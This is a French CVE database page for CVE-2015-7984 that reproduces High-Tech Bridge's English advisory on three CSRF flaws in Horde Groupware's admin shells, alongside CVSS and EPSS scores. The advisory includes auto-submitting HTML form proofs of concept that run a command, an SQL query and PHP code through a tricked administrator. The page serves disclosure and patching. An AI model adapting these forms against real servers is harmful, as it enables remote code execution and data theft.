CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Multiple cross-site request forgery (CSRF) vulnerabilities in Horde before 5.2.8, Horde Groupware before 5.2.11, and Horde Groupware Webmail Edition before 5.2.11 allow remote attackers to hijack the authentication of administrators for requests that execute arbitrary (1) commands via the cmd parameter to admin/cmdshell.php, (2) SQL queries via the sql parameter to admin/sqlshell.php, or (3) PHP code via the php parameter to admin/phpshell.php.
Cross-Site Request Forgery (CSRF) The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
10.21%
–
–
2022-04-03
–
–
10.21%
–
–
2022-12-25
–
–
10.21%
–
–
2023-01-01
–
–
10.21%
–
–
2023-02-26
–
–
10.21%
–
–
2023-03-12
–
–
–
0.74%
–
2023-06-04
–
–
–
0.73%
–
2023-10-08
–
–
–
0.73%
–
2023-12-03
–
–
–
0.73%
–
2023-12-10
–
–
–
0.73%
–
2024-02-11
–
–
–
0.73%
–
2024-06-02
–
–
–
0.73%
–
2024-10-27
–
–
–
0.83%
–
2024-11-17
–
–
–
0.83%
–
2024-12-22
–
–
–
1.48%
–
2024-12-29
–
–
–
1.48%
–
2025-01-05
–
–
–
1.48%
–
2025-01-19
–
–
–
1.48%
–
2025-03-18
–
–
–
–
1.36%
2025-03-30
–
–
–
–
1.36%
2025-04-09
–
–
–
–
1.36%
2025-04-09
–
–
–
–
1.36,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2015-11-18 23h00 +00:00 Auteur : High-Tech Bridge SA EDB Vérifié : No
Advisory ID: HTB23272
Product: Horde Groupware
Vendor: http://www.horde.org
Vulnerable Version(s): 5.2.10 and probably prior
Tested Version: 5.2.10
Advisory Publication: September 30, 2015 [without technical details]
Vendor Notification: September 30, 2015
Vendor Patch: October 22, 2015
Public Disclosure: November 18, 2015
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2015-7984
Risk Level: High
CVSSv3 Base Score: 8.3 [CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
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Advisory Details:
High-Tech Bridge Security Research Lab discovered three Cross-Site Request Forgery (CSRF) vulnerabilities in a popular collaboration suite Horde Groupware, used by a variety of companies around the world. These vulnerabilities are very dangerous, since they can be used in targeted attacks against corporate clients. An attacker might be able to gain unauthorized access to information, stored in database, execute arbitrary commands on the server, compromise the entire application and perform attacks against application users and company’s infrastructure.
1) Cross-Site Request Forgery in Horde Groupware: CVE-2015-7984
1.1 The vulnerability exists due to failure in the "/admin/cmdshell.php" script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary system commands on the server.
CSRF exploit below sends HTTP POST request to vulnerable script and instructs it to display output of "/bin/ls" command. As a result, you will see contents of "/admin/" directory:
<form action="http://[host]/admin/cmdshell.php" method="post" name="main">
<input type="hidden" name="cmd" value="ls">
<input value="submit" id="btn" type="submit" />
</form>
<script>
document.getElementById('btn').click();
</script>
1.2 The vulnerability exists due to failure in the "/admin/sqlshell.php" script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary SQL queries with application’s database.
The exploit code below executes "SELECT version()" query and displays version of current MySQL server:
<form action="http://[host]/admin/sqlshell.php" method="post" name="main">
<input type="hidden" name="sql" value="SELECT version()">
<input value="submit" id="btn" type="submit" />
</form>
<script>
document.getElementById('btn').click();
</script>
1.3 The vulnerability exists due to failure in the "/admin/phpshell.php" script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary php code on the server.
The exploit code below executes the "phpinfo()" function and displays its output:
<form action="http://[host]/admin/phpshell.php" method="post" name="main">
<input type="hidden" name="app" value="horde">
<input type="hidden" name="php" value="phpinfo();">
<input value="submit" id="btn" type="submit" />
</form>
<script>
document.getElementById('btn').click();
</script>
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Solution:
Update to Horde Groupware 5.2.11
More Information:
http://lists.horde.org/archives/announce/2015/001137.html
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23272 - https://www.htbridge.com/advisory/HTB23272 - Multiple CSRF Vulnerabilities in Horde Groupware.
[2] Horde Groupware - http://www.horde.org - Horde Groupware is a free, enterprise ready, browser based collaboration suite.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.
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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Products Mentioned
Configuraton 0
Horde>>Groupware >> Version From (including) 5.0.0 To (excluding) 5.2.11